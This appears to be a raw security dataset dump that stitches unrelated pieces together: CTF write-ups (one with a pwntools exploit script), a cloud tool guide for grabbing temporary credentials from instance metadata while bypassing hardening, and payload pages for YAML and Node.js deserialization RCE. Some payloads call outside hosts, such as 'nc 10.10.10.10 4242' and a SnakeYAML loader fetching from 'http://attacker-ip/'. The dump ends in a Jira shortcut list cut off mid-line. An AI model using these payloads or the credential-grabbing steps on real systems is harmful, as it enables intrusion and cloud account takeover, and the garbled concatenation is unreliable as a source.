text
stringlengths
100
9.93M
category
stringclasses
11 values
# Computed Shopping Assistant Category: Reversing, 200 Points ## Description > Welcome to Computed Shopping Assistant! > > The place where you can manage your shopping cart, and get substantial discounts with our special promotion coupons! > > We have given all CSA candidates a free 10% OFF coupon: > > `NOT_A_FLAG{I_4M_A_N3WB1E}` > > Enjoy! > > Please be aware that the system is not perfect, so don't go around buying loaves of soup... Three files were attached. <details> <summary>View sources...</summary> `shopping_cart.h`: ```c #ifndef SHOPPING_CART_H #define SHOPPING_CART_H #include <stdio.h> #include <stdlib.h> #include <stdbool.h> #include <string.h> #define SHOPPING_CART_SIZE 100 #define STRING_BUFFER_SIZE 100 enum item_type { TYPE_UNDEFINED = 0, TYPE_BREAD = 'b', // loaves TYPE_PASTA = 'p', // kilograms TYPE_SOUP = 's', // liters TYPE_DRINK = 'd', // liters TYPE_VEGETABLE = 'v', // kilograms TYPE_FRUIT = 'f', // items TYPE_COUPON = 'c', }; struct coupon_item { int discount_amount; int have_entered; int is_valid; int length; int expiration_day; int expiration_month; int expiration_year; char code[STRING_BUFFER_SIZE]; }; struct grocery_item { int amount_grams; // deprecated - use kilograms instead int amount_kilograms; int amount_items; int amount_loaves; int amount_liters; char description[STRING_BUFFER_SIZE]; }; struct shopping_cart_item { enum item_type type; union { struct coupon_item coupon; struct grocery_item grocery_item; }; }; typedef struct shopping_cart_item item; struct shopping_cart { int amount_of_items; item items[SHOPPING_CART_SIZE]; }; item* add_item(enum item_type type); void remove_item(int index); bool can_edit_item(item* item); bool is_valid_food_type(enum item_type type); char* food_type_to_unit(enum item_type type); void load_coupon(char* path, int discount); #endif /* SHOPPING_CART_H */ ``` `shopping_cart.c`: ```c #include "shopping_cart.h" struct shopping_cart shopping_cart; char user_input[STRING_BUFFER_SIZE]; bool loaded_coupons; int get_free_index() { for (int i = 0; i < SHOPPING_CART_SIZE; i++) { if (shopping_cart.items[i].type == TYPE_UNDEFINED) { return i; } } return -1; } item* add_item(enum item_type type) { int idx = get_free_index(); if (idx == -1) { printf("Can't add more items to your shopping cart!\n"); exit(0); } shopping_cart.items[idx].type = type; shopping_cart.amount_of_items++; return &shopping_cart.items[idx]; } void remove_item(int index) { if (shopping_cart.items[index].type == TYPE_UNDEFINED) { printf("Item %d is not in your shopping cart!\n", index); return; } shopping_cart.items[index].type = TYPE_UNDEFINED; shopping_cart.amount_of_items--; printf("Item %d removed!\n", index); } bool can_edit_item(item* item){ if ((item->type == TYPE_UNDEFINED)) { printf("There is no item at selected index\n"); return false; } else if (((item->type == TYPE_BREAD) && (item->grocery_item.amount_loaves > 0)) || ((item->type == TYPE_PASTA) && (item->grocery_item.amount_kilograms > 0)) || ((item->type == TYPE_SOUP) && (item->grocery_item.amount_liters > 0)) || ((item->type == TYPE_DRINK) && (item->grocery_item.amount_liters > 0)) || ((item->type == TYPE_VEGETABLE) && (item->grocery_item.amount_kilograms > 0)) || ((item->type = TYPE_FRUIT) && (item->grocery_item.amount_items > 0))) { return true; } else if ((item->type = TYPE_COUPON)) { printf("Item is a coupon!\n"); return false; } else { printf("Invalid item type!\n"); return false; } } bool is_valid_food_type(enum item_type type) { return ( (type == TYPE_BREAD) || (type == TYPE_PASTA) || (type == TYPE_SOUP) || (type == TYPE_DRINK) || (type == TYPE_VEGETABLE) || (type == TYPE_FRUIT)); } char* food_type_to_unit(enum item_type type) { switch (type) { case TYPE_BREAD: return "loaves"; break; case TYPE_PASTA: case TYPE_VEGETABLE: return "kilogram(s)"; break; case TYPE_SOUP: case TYPE_DRINK: return "liter(s)"; break; case TYPE_FRUIT: return "unit(s)"; break; } } bool is_coupon_valid(char* coupon) { // black list of expired coupons if (!memcmp(coupon, "NOT_A_FLAG{I_L0V3_CSA}", strlen(coupon)) || !memcmp(coupon, "NOT_A_FLAG{G1V3_M3_M0R3_C0UP0N5_PL3453}", strlen(coupon)) || !memcmp(coupon, "NOT_A_FLAG{TH3_C4K3_1S_A_L1E}", strlen(coupon))) { return false; } else { return true; } } void load_coupon(char* path, int discount) { char coupon[STRING_BUFFER_SIZE]; FILE *fp = fopen(path, "r"); if (fp == NULL) { printf("Unable to open file! (%s)\n", path); exit(0); } if (fgets(coupon, STRING_BUFFER_SIZE, fp) == NULL) { printf("Could not load coupon %s!\n", path); exit(0); } fclose(fp); int is_valid = is_coupon_valid(coupon); if (!is_valid) { return; } item* item = add_item(TYPE_COUPON); item->coupon.discount_amount = discount; item->coupon.have_entered = false; item->coupon.is_valid = is_valid; item->coupon.length = strlen(coupon); item->coupon.expiration_day = 0; // todo - implement expiration date check item->coupon.expiration_month = 0; item->coupon.expiration_year = 0; strncpy(item->coupon.code, coupon, strlen(coupon)); } ``` `main.c`: ```c #include <stdio.h> #include <string.h> #include <stdlib.h> #include <stdbool.h> #include "shopping_cart.h" extern struct shopping_cart shopping_cart; extern char user_input[]; extern bool loaded_coupons; void add_item_menu() { printf("Which item would you like to add?\n"); printf("%c - Bread\n", TYPE_BREAD); printf("%c - Pasta\n", TYPE_PASTA); printf("%c - Soup\n", TYPE_SOUP); printf("%c - Drink\n", TYPE_DRINK); printf("%c - Vegetable\n", TYPE_VEGETABLE); printf("%c - Fruit\n", TYPE_FRUIT); char choice_type; scanf(" %c", &choice_type); if (!is_valid_food_type(choice_type)) { printf("Invalid type entered!\n"); return; } item* item = add_item(choice_type); switch (choice_type) { case TYPE_BREAD: strcpy(item->grocery_item.description, "White bread"); item->grocery_item.amount_loaves = 1; break; case TYPE_PASTA: strcpy(item->grocery_item.description, "Spaghetti"); item->grocery_item.amount_kilograms = 1; break; case TYPE_SOUP: strcpy(item->grocery_item.description, "Lentil soup"); item->grocery_item.amount_liters = 1; break; case TYPE_DRINK: strcpy(item->grocery_item.description, "Coca-Cola"); item->grocery_item.amount_liters = 1; break; case TYPE_VEGETABLE: strcpy(item->grocery_item.description, "Potatoes"); item->grocery_item.amount_kilograms = 1; break; case TYPE_FRUIT: strcpy(item->grocery_item.description, "Apples"); item->grocery_item.amount_items = 1; break; } printf("1 %s of %s added!\n", food_type_to_unit(choice_type), item->grocery_item.description); } void edit_item_menu() { if (shopping_cart.amount_of_items == 0) { printf("Your shopping cart is empty!\n"); return; } printf("Which item index would you like to edit?\n"); int choice; scanf("%d", &choice); if (choice < 0 || choice >= SHOPPING_CART_SIZE) { printf("Invalid item index!\n"); return; } item* item = &shopping_cart.items[choice]; if (!can_edit_item(item)) { printf("Can not edit this item!\n"); return; } printf("Which property would you like to edit?\n" "1 - Type\n" "2 - Amount of kilograms\n" "3 - Amount of items\n" "4 - Amount of loaves\n" "5 - Amount of liters\n" "6 - Description\n" "7 - Cancel\n"); scanf("%d", &choice); if (choice < 1 || choice > 7) { printf("Invalid choice!\n"); return; } char newline; scanf("%c", &newline); // clear newline from buffer char choice_type; switch (choice) { case 1: printf("Enter new type: "); fflush(stdout); scanf(" %c", &choice_type); if (choice_type == TYPE_COUPON) { printf("You can not convert to coupon!\n"); } else if (is_valid_food_type(choice_type)) { item->type = choice_type; } else { printf("Invalid type entered!\n"); } break; case 2: printf("Enter new kilograms amount: "); fflush(stdout); scanf("%d", &choice); item->grocery_item.amount_kilograms = choice; break; case 3: printf("Enter new items amount: "); fflush(stdout); scanf("%d", &choice); item->grocery_item.amount_items = choice; break; case 4: printf("Enter new loaves amount: "); fflush(stdout); scanf("%d", &choice); item->grocery_item.amount_loaves = choice; break; case 5: printf("Enter new liters amount: "); fflush(stdout); scanf("%d", &choice); item->grocery_item.amount_liters = choice; break; case 6: printf("Enter new description: "); fflush(stdout); fgets(item->grocery_item.description, STRING_BUFFER_SIZE, stdin); item->grocery_item.description[strlen(item->grocery_item.description)-1] = '\0'; // remove newline break; case 7: return; break; } printf("Item updated!\n"); } void remove_item_menu() { if (shopping_cart.amount_of_items == 0) { printf("Your shopping cart is empty!\n"); return; } printf("Which item index would you like to remove?\n"); int choice; scanf("%d", &choice); if (choice < 0 || choice >= SHOPPING_CART_SIZE) { printf("Invalid item index!\n"); return; } remove_item(choice); } void print_shopping_cart() { if (shopping_cart.amount_of_items == 0) { printf("\nYour shopping cart is empty!\n"); return; } printf("\nYour shopping cart has %d items:\n", shopping_cart.amount_of_items); for (int i = 0; i < SHOPPING_CART_SIZE; i++) { item* item = &shopping_cart.items[i]; int amount = 0; switch (item->type) { case TYPE_UNDEFINED: break; case TYPE_COUPON: if (item->coupon.have_entered) { printf("(index %d) - %d%% OFF coupon - %s\n", i, item->coupon.discount_amount, item->coupon.code); } break; default: switch (item->type) { case TYPE_BREAD: amount = item->grocery_item.amount_loaves; break; case TYPE_PASTA: case TYPE_VEGETABLE: amount = item->grocery_item.amount_kilograms; break; case TYPE_SOUP: case TYPE_DRINK: amount = item->grocery_item.amount_liters; break; case TYPE_FRUIT: amount = item->grocery_item.amount_items; } printf("(index %d) - %d %s of %s\n", i, amount, food_type_to_unit(item->type), item->grocery_item.description); break; } } } void apply_a_coupon() { if (!loaded_coupons) { load_coupon("coupon_10.txt", 10); load_coupon("coupon_50.txt", 50); loaded_coupons = true; } printf("Please enter your coupon:\n"); char newline; scanf("%c", &newline); // clear newline from buffer fgets(user_input, STRING_BUFFER_SIZE, stdin); for (int i = 0; i < SHOPPING_CART_SIZE; i++) { item* item = &shopping_cart.items[i]; if (item->type == TYPE_COUPON && !item->coupon.have_entered) { if (!memcmp(item->coupon.code, user_input, item->coupon.length)) { printf("Applied coupon for %d%% OFF!\n", item->coupon.discount_amount); item->coupon.have_entered = true; return; } } } printf("Invalid coupon!\n"); } void checkout() { printf("\nThank you for choosing Computed Shopping Assistant!\n"); printf("Your items will be delivered to you within 24 hours.\n"); printf("Goodbye!\n"); exit(0); } void main_menu() { printf("\n---> Welcome to Computed Shopping Assistant <---\n"); while (true) { printf("\nWhat would you like to do?\n" "1 - Add item to shopping cart\n" "2 - Edit item in shopping cart\n" "3 - Remove item from shopping cart\n" "4 - View shopping cart\n" "5 - Apply a coupon\n" "6 - Checkout\n"); int choice = 0; scanf("%d", &choice); switch (choice) { case 1: add_item_menu(); break; case 2: edit_item_menu(); break; case 3: remove_item_menu(); break; case 4: print_shopping_cart(); break; case 5: apply_a_coupon(); break; case 6: checkout(); break; default: printf("Invalid choice!\n"); exit(0); break; } } } int main() { memset(&shopping_cart, 0, sizeof(shopping_cart)); main_menu(); } ``` </details> ## Solution This program implements a simple shopping cart where we can buy different items. We even have the ability to apply coupons. ```console ┌──(user@kali)-[/media/sf_CTFs/checkpoint/Computed_Shopping_Assistant] └─$ nc csa.csa-challenge.com 1111 ---> Welcome to Computed Shopping Assistant <--- What would you like to do? 1 - Add item to shopping cart 2 - Edit item in shopping cart 3 - Remove item from shopping cart 4 - View shopping cart 5 - Apply a coupon 6 - Checkout 1 Which item would you like to add? b - Bread p - Pasta s - Soup d - Drink v - Vegetable f - Fruit b 1 loaves of White bread added! What would you like to do? 1 - Add item to shopping cart 2 - Edit item in shopping cart 3 - Remove item from shopping cart 4 - View shopping cart 5 - Apply a coupon 6 - Checkout 5 Please enter your coupon: NOT_A_FLAG{I_4M_A_N3WB1E} Applied coupon for 10% OFF! What would you like to do? 1 - Add item to shopping cart 2 - Edit item in shopping cart 3 - Remove item from shopping cart 4 - View shopping cart 5 - Apply a coupon 6 - Checkout 6 Thank you for choosing Computed Shopping Assistant! Your items will be delivered to you within 24 hours. Goodbye! ``` From the description we got the coupon code for a 10% discount, but according to the sources there's also a coupon for a 50% discount: ```c void apply_a_coupon() { if (!loaded_coupons) { load_coupon("coupon_10.txt", 10); load_coupon("coupon_50.txt", 50); loaded_coupons = true; } //... ``` How can we leak it? Once we buy an item, it's saved in a global context which contains an array of items: ```c struct coupon_item { int discount_amount; int have_entered; int is_valid; int length; int expiration_day; int expiration_month; int expiration_year; char code[STRING_BUFFER_SIZE]; }; struct grocery_item { int amount_grams; // deprecated - use kilograms instead int amount_kilograms; int amount_items; int amount_loaves; int amount_liters; char description[STRING_BUFFER_SIZE]; }; struct shopping_cart_item { enum item_type type; union { struct coupon_item coupon; struct grocery_item grocery_item; }; }; typedef struct shopping_cart_item item; struct shopping_cart { int amount_of_items; item items[SHOPPING_CART_SIZE]; }; struct shopping_cart shopping_cart; ``` We can see that both grocery items and coupon items are saved in the same array. When we select to "Apply Coupons", the code in `apply_a_coupon` first loads all coupons into the array (if they weren't loaded before), and marks them as `have_entered = false` as long as the user hasn't entered them. ```c void load_coupon(char* path, int discount) { char coupon[STRING_BUFFER_SIZE]; FILE *fp = fopen(path, "r"); if (fp == NULL) { printf("Unable to open file! (%s)\n", path); exit(0); } if (fgets(coupon, STRING_BUFFER_SIZE, fp) == NULL) { printf("Could not load coupon %s!\n", path); exit(0); } fclose(fp); int is_valid = is_coupon_valid(coupon); if (!is_valid) { return; } item* item = add_item(TYPE_COUPON); item->coupon.discount_amount = discount; item->coupon.have_entered = false; item->coupon.is_valid = is_valid; item->coupon.length = strlen(coupon); item->coupon.expiration_day = 0; // todo - implement expiration date check item->coupon.expiration_month = 0; item->coupon.expiration_year = 0; strncpy(item->coupon.code, coupon, strlen(coupon)); } void apply_a_coupon() { if (!loaded_coupons) { load_coupon("coupon_10.txt", 10); load_coupon("coupon_50.txt", 50); loaded_coupons = true; } //... } ``` We just want to print the other coupon. However, this is blocked by the code in `print_shopping_cart`: ```c case TYPE_COUPON: if (item->coupon.have_entered) { printf("(index %d) - %d%% OFF coupon - %s\n", i, item->coupon.discount_amount, item->coupon.code); } break; ``` We only get the contents of the coupon if we've already entered it: ```console ┌──(user@kali)-[/media/sf_CTFs/checkpoint/Computed_Shopping_Assistant] └─$ nc csa.csa-challenge.com 1111 ---> Welcome to Computed Shopping Assistant <--- What would you like to do? 1 - Add item to shopping cart 2 - Edit item in shopping cart 3 - Remove item from shopping cart 4 - View shopping cart 5 - Apply a coupon 6 - Checkout 5 Please enter your coupon: NOT_A_FLAG{I_4M_A_N3WB1E} Applied coupon for 10% OFF! What would you like to do? 1 - Add item to shopping cart 2 - Edit item in shopping cart 3 - Remove item from shopping cart 4 - View shopping cart 5 - Apply a coupon 6 - Checkout 4 Your shopping cart has 2 items: (index 0) - 10% OFF coupon - NOT_A_FLAG{I_4M_A_N3WB1E} What would you like to do? 1 - Add item to shopping cart 2 - Edit item in shopping cart 3 - Remove item from shopping cart 4 - View shopping cart 5 - Apply a coupon 6 - Checkout ``` As we can see, the shopping cart has two items (both 10% and 50% coupons but only the former is displayed). Notice how the array contains `shopping_cart_item` entries, which are essentially a union of `grocery_item` and `coupon_item`. So, given some array entry in memory, there are two ways to look at it: ``` coupon_item grocery_item +---------------------------+ +---------------------------------+ | discount_amount | | amount_grams | +---------------------------+ +---------------------------------+ | have_entered | | amount_kilograms | +---------------------------+ +---------------------------------+ | is_valid | | amount_items | +---------------------------+ +---------------------------------+ | length | | amount_loaves | +---------------------------+ +---------------------------------+ | expiration_day | | amount_liters | +---------------------------+ +---------------------------------+ | expiration_month | | description[STRING_BUFFER_SIZE] | +---------------------------+ | | | expiration_year | | | +---------------------------+ | | | code[STRING_BUFFER_SIZE] | +---------------------------------+ | | | | +---------------------------+ ``` So if we can treat the `coupon_item` as a `grocery_item` and change the `amount_kilograms` to `1`, when we look at the entry as a `coupon_item` it will state that `have_entered == 1` and we'll be able to print the coupon. We even have a function that allows us to change `amount_kilograms`: `edit_item_menu()`. We can enter any amount we want, as long as we can pass `can_edit_item` successfully: ```c bool can_edit_item(item* item){ if ((item->type == TYPE_UNDEFINED)) { printf("There is no item at selected index\n"); return false; } else if (((item->type == TYPE_BREAD) && (item->grocery_item.amount_loaves > 0)) || ((item->type == TYPE_PASTA) && (item->grocery_item.amount_kilograms > 0)) || ((item->type == TYPE_SOUP) && (item->grocery_item.amount_liters > 0)) || ((item->type == TYPE_DRINK) && (item->grocery_item.amount_liters > 0)) || ((item->type == TYPE_VEGETABLE) && (item->grocery_item.amount_kilograms > 0)) || ((item->type = TYPE_FRUIT) && (item->grocery_item.amount_items > 0))) { return true; } else if ((item->type = TYPE_COUPON)) { printf("Item is a coupon!\n"); return false; } else { printf("Invalid item type!\n"); return false; } } ``` At first glace, though, it seems like we can't. Grocery items are editable, but coupons are certainly not. On the other hand, we can't take a grocery item and convert it to a coupon either, since that's explicitly blocked: ```c if (choice_type == TYPE_COUPON) { printf("You can not convert to coupon!\n"); } ``` So, how do we proceed? Well, a closer examination of `can_edit_item` reveals a few bugs. Did you spot them? Here they are: `(item->type = TYPE_FRUIT)` and `(item->type = TYPE_COUPON)`. In these cases, only a single equal sign is used, instead of a double equal sign. This means that the `item->type` is actually assigned instead of being compared. This is great news, since this will allow us to move between a coupon and a grocery item. We want the item to be a grocery item? We need to invoke the function while `item->grocery_item.amount_items > 0` and the item will become a fruit (returning at the first `return true`). We want it to be a coupon? We invoke the function while `item->grocery_item.amount_items == 0`, and after it becomes a fruit it continues to the next condition and then becomes a coupon (returning at the second `return false`). So our plan is: 1. Load the coupons 2. Edit the second coupon (turning it into a fruit) and set the amount of kilograms to 1 3. Edit the second coupon (now a fruit) and set the amount of items to 0 4. (Try to) edit the second coupon (still a fruit), turning it back into a coupon 5. Print the coupons The following script will invoke the needed sequence: ```python # First, generate a pwntools template with the following command: # pwn template --host csa.csa-challenge.com --port 1111 #=========================================================== # EXPLOIT GOES HERE #=========================================================== from enum import Enum from typing import Union class ComputedShoppingAssistant(): class MenuOption(Enum): ADD_ITEM = 1 EDIT_ITEM = 2 REMOVE_ITEM = 3 VIEW_CART = 4 APPLY_COUPON = 5 CHECKOUT = 6 class ItemProperty(Enum): TYPE = 1 KILOGRAMS = 2 ITEMS = 3 LOAVES = 4 LITERS = 5 DESCRIPTION = 6 INVALID = 7 def __init__(self, io: pwnlib.tubes.tube): self.io = io def _select_menu(self, selection: "ComputedShoppingAssistant.MenuOption") -> None: self.io.recvuntilS(b"What would you like to do?\r\n") for _ in self.MenuOption: self.io.recvline() self.io.sendline(str(selection.value).encode("ascii")) def apply_coupon(self, coupon: str) -> bool: self._select_menu(self.MenuOption.APPLY_COUPON) self.io.sendlineafter(b"Please enter your coupon:\r\n", coupon.encode("ascii")) result = self.io.recvlineS() return result != "Invalid coupon!\r\n" def edit_item(self, index: int, property: "ComputedShoppingAssistant.ItemProperty", value: Union[int, str, None]) -> bool: self._select_menu(self.MenuOption.EDIT_ITEM) self.io.sendlineafter(b"Which item index would you like to edit?\r\n", str(index).encode("ascii")) out = self.io.recvlineS() if out == "Item is a coupon!\r\n": return False assert(out == "Which property would you like to edit?\r\n") for _ in self.ItemProperty: self.io.recvline() self.io.sendline(str(property.value).encode("ascii")) self.io.sendlineafter(b": ", str(value).encode("ascii")) out = self.io.recvlineS() return out == "Item updated!\r\n" def view_cart(self) -> str: self._select_menu(self.MenuOption.VIEW_CART) self.io.recvuntil(b'\r\nYour shopping cart has') self.io.recvline() out = self.io.recvuntilS("\r\n\r\n".encode("ascii")) return out.strip().split("\r\n") def checkout(self) -> None: self._select_menu(self.MenuOption.CHECKOUT) io = start() csa = ComputedShoppingAssistant(io) csa.apply_coupon("NOT_A_FLAG{I_4M_A_N3WB1E}") # Will change coupon to fruit and set amount_kilograms (i.e. have_entered) to 1 csa.edit_item(1, ComputedShoppingAssistant.ItemProperty.KILOGRAMS, 1) # Will set amount_items to 0 csa.edit_item(1, ComputedShoppingAssistant.ItemProperty.ITEMS, 0) # Will change fruit to coupon csa.edit_item(1, ComputedShoppingAssistant.ItemProperty.ITEMS, None) print(csa.view_cart()) csa.checkout() ``` Output: ```console ┌──(user@kali)-[/media/sf_CTFs/checkpoint/Computed_Shopping_Assistant] └─$ python3 exploit.py [+] Opening connection to csa.csa-challenge.com on port 1111: Done ['(index 0) - 10% OFF coupon - NOT_A_FLAG{I_4M_A_N3WB1E}', '(index 1) - 50% OFF coupon - CSA{iN_L1nuX_1T_W0UlDnT_H4PP3N}'] [*] Closed connection to csa.csa-challenge.com port 1111 ```
sec-knowleage
--- title: 一键获得临时访问凭证 --- ## 一键获得阿里云的临时访问凭证 使用 `-m` 命令一键获得临时访问凭证 ```bash cf alibaba ecs exec -m ``` 指定单个实例获取临时访问凭证 ```bash cf alibaba ecs exec -m -i i-abcdefghijklmn ``` ## 一键获得腾讯云的临时访问凭证 ### 云服务器 ```bash cf tencent cvm exec -m ``` ### 轻量应用服务器 ```bash cf tencent lh exec -m ``` ::: tip Tips * 当获得临时访问凭证后,可以将这个临时访问凭证配置到 CF 中,然后继续进行信息收集、内网横向。 ::: > 由于临时访问凭证是在元数据里的,所以存在因元数据处于加固模式而导致临时访问凭证无法获取的可能性,因此当 CF 检测到目标元数据处于加固模式时,会自动获取访问元数据的 Token,从而利用该 Token 获得临时访问凭证,简单理解的话,就是 CF 会自动绕过目标的元数据加固模式。 <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年9月7日" } } </script>
sec-knowleage
version: '2' services: apache: build: . ports: - "8080:80" tomcat: image: vulhub/tomcat:8.5.19
sec-knowleage
# Postbook - FLAG3 ## 0x00 View Post http://127.0.0.1/1234567890/index.php?page=view.php&id=1 ![](./imgs/post.jpg) ## 0x01 FLAG The id seems can be change to very large value (189 * 5 = 945). http://127.0.0.1/1234567890/index.php?page=view.php&id=945 ![](./imgs/flag.jpg)
sec-knowleage
## Jigsaw (Misc) tl;dr Solve the jigsaw, get letter indexes from binary We're given 64 pieces of puzzle, after taking a quick glance, we've noticed that some of them have white background and other ones black. So there are either 2 puzzles to be solved or some of the pieces have had their colors inverted. We've decided to go with the second option, so we've started by inverting tiles with black background and marking such pieces with a: ![pepper](gimpFTW.png) Now all we have to do is solve the puzzle ;) After some googling, we've found a [nice-looking solver](https://github.com/biswajitsc/jigsaw-solver) Skipping some hassle with opencv, we got: ![solved](solved.png) Not bad, solving the rest manually should be easy: ![solvedMore](solvedMore.png) The peppers contain each letters index in binary (`left-up, righ-up, left-down, right-down`) Some indexes appeared more than once, so we had to shuffle pieces from the same letters to get a unique index for each letter.
sec-knowleage
# YAML Deserialization ## Summary * [Tools](#tools) * [Exploit](#exploit) * [PyYAML](#pyyaml) * [ruamel.yaml](#ruamelyaml) * [Ruby](#ruby) * [SnakeYAML](#snakeyaml) * [References](#references) ## Tools * [j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) * [artsploit/yaml-payload](https://github.com/artsploit/yaml-payload) - A tiny project for generating SnakeYAML deserialization payloads * [mbechler/marshalsec](https://github.com/mbechler/marshalsec) ## Exploit ### PyYAML ```yaml !!python/object/apply:time.sleep [10] !!python/object/apply:builtins.range [1, 10, 1] !!python/object/apply:os.system ["nc 10.10.10.10 4242"] !!python/object/apply:os.popen ["nc 10.10.10.10 4242"] !!python/object/new:subprocess [["ls","-ail"]] !!python/object/new:subprocess.check_output [["ls","-ail"]] ``` ```yaml !!python/object/apply:subprocess.Popen - ls ``` ```yaml !!python/object/new:str state: !!python/tuple - 'print(getattr(open("flag\x2etxt"), "read")())' - !!python/object/new:Warning state: update: !!python/name:exec ``` Since PyYaml version 6.0, the default loader for ```load``` has been switched to SafeLoader mitigating the risks against Remote Code Execution. [PR fixing the vulnerabily](https://github.com/yaml/pyyaml/issues/420) The vulnerable sinks are now ```yaml.unsafe_load``` and ```yaml.load(input, Loader=yaml.UnsafeLoader)``` ``` with open('exploit_unsafeloader.yml') as file: data = yaml.load(file,Loader=yaml.UnsafeLoader) ``` ## Ruamel.yaml ## Ruby ```ruby --- - !ruby/object:Gem::Installer i: x - !ruby/object:Gem::SpecFetcher i: y - !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "abc" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: sleep 600 method_id: :resolve ``` ## SnakeYAML ```yaml !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://attacker-ip/"] ]] ] ``` ## References * [Python Yaml Deserialization - hacktricks.xyz][https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization] * [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13][https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf] * [PyYAML Documentation](https://pyyaml.org/wiki/PyYAMLDocumentation) * [Blind Remote Code Execution through YAML Deserialization - 09 JUNE 2021](https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/) * [[CVE-2019-20477]- 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - @_j0lt](https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/)
sec-knowleage
# Micro8 Infiltration attack for more than ten years, due to age, physical reasons, I feel that I am about to exit the first-line penetration attack. I plan to write out the textbooks I have learned in my life. Because the article involves sensitive attack behavior, so many need to mosaic, or local manifestation in the form of demo. When the industry has been around for a long time, you will one day discover that the essence of the original things is so important. For example, the essence of intranet penetration is information gathering. At that time, a big man passed this experience to me. Similarly, I am an old guy today, and I hope to pass on this experience. There must be a clerical error or something wrong in the text. Please bear with me and say sorry to everyone in advance. All courses start from the basics (including the introduction of tools, applications, etc., since it is the foundation, some of the content may involve primary knowledge points, Please forgive me, so that new colleagues or colleagues who want to learn from scratch can avoid some detours. In the process of writing, I deeply understand that the sharer is the biggest beneficiary in learning. Article, so you need to consult a lot of information. Throughout the process, I learned a lot of knowledge points. Serialization includes notes on projects that are interspersed at work, including but not limited to code auditing, web penetration, intranet penetration, domain penetration, tunnel introduction, log traceability, and violent traceability. If you have a course specifying a colleague who needs to introduce the relevant technology (within my technical ability), please send me an email: micropoor@gmail.com. I have been writing <PHP Security News 8:00 am between 2010 and 2012, but I was not writing because of the work at the time. All the courses in this time are copyright-free, and I only hope that I can still make some technical documents output in the technical atmosphere that is already closed. So this tutorial I still want to call <PHP security news 8 o'clock>, I believe that one day, you will find that the original essence of things is so interesting. If you need to specify a technical appeal, please leave a message below to facilitate the addition of the class in the future update. Thanks again to all readers. ---------- Directory structure, see wiki ---------- Penetration test/APT simulation attack is a double-edged sword. The Micro8 series is suitable for junior and intermediate security practitioners, Party B security testing, Party A security self-test, network security enthusiasts, etc., enterprise security protection and improvement, the series complies with: Free, free, shared, open source. Do not break the law, such as the offense is not related to the author. When downloading/transmitting/learning, etc., it is deemed to be in agreement with the regulations. I hope that the readers will learn something, ask for income, think quietly, and be private. ---------- Since open submissions are supported (supporting everyone to contribute to the series), third-party submissions such as advertising/hidden advertising/small circles/all other charges are not allowed.
sec-knowleage
# Node Deserialization ## Summary * [Exploit](#exploit) * [node-serialize](#node-serialize) * [funcster](#funcster) * [References](#references) ## Exploit * In Node source code, look for: * `node-serialize` * `serialize-to-js` * `funcster` ### node-serialize > An issue was discovered in the node-serialize package 0.0.4 for Node.js. Untrusted data passed into the `unserialize()` function can be exploited to achieve arbitrary code execution by passing a JavaScript Object with an Immediately Invoked Function Expression (IIFE). 1. Generate a serialized payload ```js var y = { rce : function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }, } var serialize = require('node-serialize'); console.log("Serialized: \n" + serialize.serialize(y)); ``` 2. Add bracket `()` to force the execution ```js {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });}()"} ``` 3. Send the payload ### funcster ```js {"rce":{"__js_function":"function(){CMD=\"cmd /c calc\";const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').exec(CMD,function(error,stdout,stderr){console.log(stdout)});}()"}} ``` ## References * [Exploiting Node.js deserialization bug for Remote Code Execution (CVE-2017-5941) - Ajin Abraham](https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf) * [NodeJS Deserialization - 8 January 2020- gonczor](https://blacksheephacks.pl/nodejs-deserialization/) * [CVE-2017-5941 - NATIONAL VULNERABILITY DATABASE - 02/09/2017](https://nvd.nist.gov/vuln/detail/CVE-2017-5941)
sec-knowleage
--- title: Jira date: 2022-11-23 16:23:31.697708 background: bg-[#417eef] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 44 keyboard shortcuts found in Jira --- Keyboard Shortcuts ------------------ ### Global Shortcuts Shortcut | Action ---|--- `G` `D` | Go to Dashboard `G` `P` | Browse to a Project `G` `A` | Go to Agile `G` `I` | Go to Issue Navigator `G` `G` | Administration Search Dialog Box `/` | Quick Search `C` | Create an Issue `?` | Open shortcut help `Ctrl` `Alt` `D` | Dashboards drop-down menu `Ctrl` `Alt` `P` | Projects drop-down menu `Ctrl` `Alt` `I` | Issues drop-down menu `Ctrl` `Alt` `G` | Agile drop-down menu `Ctrl` `Alt` `S` | Form Submit `Ctrl` `Alt` <code>\`</code> | Cancel Form {.shortcuts} ### Agile Shortcuts Shortcut | Action ---|--- `J` | Next Issue `K` | Previous Issue `N` | Next Column `P` | Previous Column `-` | Expand/Collapse All Swimlanes `T` | Hide/Show Detail View `O` | View Issue `Enter` | Add a New Line `Enter` | Submit changes `Esc` | Cancel changes `I` | Assign to Me `S` `T` | Send to Top `S` `B` | Send to Bottom `E` | Edit Issue `Z` | Projector Mode {.shortcuts} ### Issue Actions and Navigator Shortcuts Shortcut | Action ---|--- `O` | View selected issue `J` | Next Issue `K` | Previous Issue `U` | Back to the Navigator `[` | Hide/Show Left Section `N` | Next Activity `P` | Previous Activity `F` | Focus search field `Esc` | Escape field `E` | Edit Issue `A` | Assign Issue `M` | Comment on Issue `L` | Edit Issue Labels `S` | Share Issue `.` | Operations dialog box {.shortcuts} Also see -------- - [Keyboard shortcuts for 